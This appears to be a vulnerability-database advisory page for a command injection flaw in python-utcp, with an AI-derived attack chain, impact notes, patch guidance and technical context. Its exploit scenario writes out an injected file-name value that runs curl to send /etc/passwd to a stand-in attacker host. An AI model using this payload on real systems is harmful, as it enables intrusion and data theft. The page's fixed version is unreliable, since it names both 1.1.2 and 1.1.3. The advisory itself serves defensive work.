Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify network-accessible python-utcp service
-
DeliveryCraft malicious tool_args with shell metacharacters
-
ExploitSubmit tool invocation request requiring user/service interaction
-
InstallTrigger vulnerable _substitute_utcp_args method
-
C2Inject commands into bash/PowerShell script
-
ExecuteExecute arbitrary code as service user
-
ImpactExfiltrate data or establish persistence
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the python-utcp service to accept tool_args parameters from untrusted sources over a network interface (AV:N). The application must invoke the vulnerable cli_communication_protocol.py module to process tool definitions containing UTCP_ARG placeholders. User interaction is required (UI:R) - specifically, a legitimate user or service must trigger execution of a tool call containing the attacker's malicious tool_args payload, which typically occurs when the application processes user-submitted job requests, API calls, or workflow definitions. Attack complexity is high (AC:H) because the attacker must understand the application's tool definition schema and placeholder syntax to craft valid-looking payloads that pass application-layer validation while still injecting shell metacharacters. No authentication is required (PR:N) if the tool invocation interface is exposed to unauthenticated users. Limiting factors include: applications that only accept tool definitions from trusted administrators (not user-supplied tool_args) are not exploitable; systems that validate or sanitize tool_args at the application layer before passing to python-utcp may block injection attempts; deployments where python-utcp processes only hardcoded tool definitions with no user-controlled parameters face zero risk despite running vulnerable code. |
| Impact | Real-world risk is high but requires specific deployment conditions. The CVSS vector AV:N/AC:H/PR:N/UI:R indicates network-accessible attack surface with high complexity and required user interaction, meaning exploitation depends on the application accepting network-based tool invocations and a victim user triggering the vulnerable code path. The scope change (S:C) is critical - successful exploitation enables breaking out of the intended execution context, potentially escaping containers or sandboxes. CVSS base score of 8.3 appropriately reflects the severe impact (complete system compromise via RCE) tempered by the exploitation prerequisites. No EPSS data provided, but absence from CISA KEV and lack of public exploit code (beyond the PoC in the advisory) suggests this is not yet widely exploited in the wild. However, the detailed GitHub security advisory with working proof-of-concept significantly lowers the barrier to weaponization. Organizations using python-utcp in multi-tenant environments or processing untrusted tool definitions face immediate risk. The patch introduces a breaking behavioral change (single placeholder no longer expands to multiple shell tokens), which may delay adoption in production environments where tool definitions rely on the old multi-token expansion behavior. Priority for patching depends on whether the application accepts tool_args from untrusted sources - systems with hardcoded or admin-only tool definitions face lower practical risk despite the high CVSS score. |
| Exploit ScenarioDerived | An attacker controls tool_args input to a python-utcp service that executes CLI tools based on user-provided parameters. The attacker crafts a malicious filename argument such as 'data.csv; curl http://attacker.com/exfil/$(cat /etc/passwd | base64)' for a tool expecting a --input parameter. When the vulnerable _substitute_utcp_args method processes this, it constructs the shell command 'python script.py --input data.csv; curl http://attacker.com/exfil/$(cat /etc/passwd | base64)' and executes it via /bin/bash -c. The injected curl command exfiltrates the system's password file to the attacker's server. On Windows systems, similar injection using PowerShell syntax enables registry access, credential theft, or malware download. The GitHub advisory confirms this attack pattern with a working proof-of-concept, making exploitation straightforward for attackers with access to tool invocation interfaces. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 14, 2026
Command injection in python-utcp allows remote attackers to execute arbitrary shell commands on Unix and Windows systems when user-controlled tool arguments are processed by the CLI communication protocol module. The _substitute_utcp_args method in cli_communication_protocol.py directly embeds unsanitized user input into bash or PowerShell commands without escaping, enabling full remote code execution. Vendor-released patch available in version 1.1.2 with shell-quoting mitigation (shlex.quote on Unix, single-quoted literals on Windows). CVSS 8.3 indicates high complexity and required user interaction, but scope change enables container/sandbox escape scenarios. No public exploit code or CISA KEV listing identified at time of analysis, though detailed proof-of-concept exists in the GitHub security advisory demonstrating data exfiltration via curl.
RemediationAI
Upgrade to utcp-cli version 1.1.2 or later immediately, available via PyPI (pip install --upgrade utcp-cli). The patched version applies shell-quoting to all UTCP_ARG placeholder substitutions using shlex.quote on Unix and PowerShell-safe single-quote literals on Windows, ensuring each placeholder expands to exactly one shell token. Critical behavioral change: tool definitions that previously relied on a single placeholder expanding to multiple shell tokens (e.g., UTCP_ARG_flags_UTCP_END expanding to --verbose --debug) must be refactored to use one placeholder per intended argument. Organizations should audit existing tool definitions and update them accordingly during upgrade testing. No workaround exists for versions prior to 1.1.2 other than completely rejecting all user-controlled tool_args inputs at the application boundary, which may not be feasible for legitimate use cases. For environments where immediate upgrade is blocked by the behavioral change, implement application-layer input validation to reject tool_args containing shell metacharacters (semicolons, pipes, backticks, dollar signs, newlines, ampersands), though this defense-in-depth measure is fragile and should only be temporary until proper upgrade. Review server logs for suspicious tool_args patterns that may indicate reconnaissance or exploitation attempts. Detailed patch implementation and migration guidance available in the GitHub advisory at the reference link above.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Python-utcp is a Python implementation of the Universal Tool Calling Protocol, providing a CLI communication interface for executing external tools with parameterized arguments. The vulnerability resides in the cli_communication_protocol.py module's _substitute_utcp_args method, which performs string interpolation of UTCP_ARG_..._UTCP_END placeholders within shell command templates. The affected code path invokes /bin/bash -c on Unix systems and powershell.exe -Command on Windows to execute dynamically constructed scripts containing user-supplied values. This represents a classic CWE-78 OS Command Injection flaw where metacharacters (semicolons, pipes, backticks, command substitution operators) in tool_args parameters are interpreted as shell syntax rather than literal data. The CPE pip/utcp-cli indicates this is a PyPI-distributed package affecting versions through 1.1.1. The fix in 1.1.2 applies language-appropriate quoting primitives (Python's shlex.quote for POSIX shells, custom PowerShell single-quote escaping for Windows) to ensure each placeholder expands to exactly one shell token, preventing metacharacter interpretation.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Primary rating from Vendor (github) · only source for this CVE.
CVSS VectorVendor: github
Lifecycle Timeline
2DescriptionCVE.org
python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.
Executive ViewAI
python-utcp versions prior to 1.1.2 contain a command injection vulnerability in CLI argument processing that allows remote attackers to execute arbitrary commands on both Unix and Windows systems. This affects any organization using python-utcp to process untrusted user input through command-line interfaces, potentially enabling lateral movement, data exfiltration, and container escape in containerized deployments.
Apply vendor patch: Upgrade to python-utcp version 1.1.2 or later. Until patching is complete, restrict CLI argument inputs to whitelisted values only; disable or isolate python-utcp services that process untrusted external input; implement network-level controls to limit command execution scope and monitor process execution logs for suspicious shell activity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-30475
GHSA-33p6-5jxp-p3x4
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB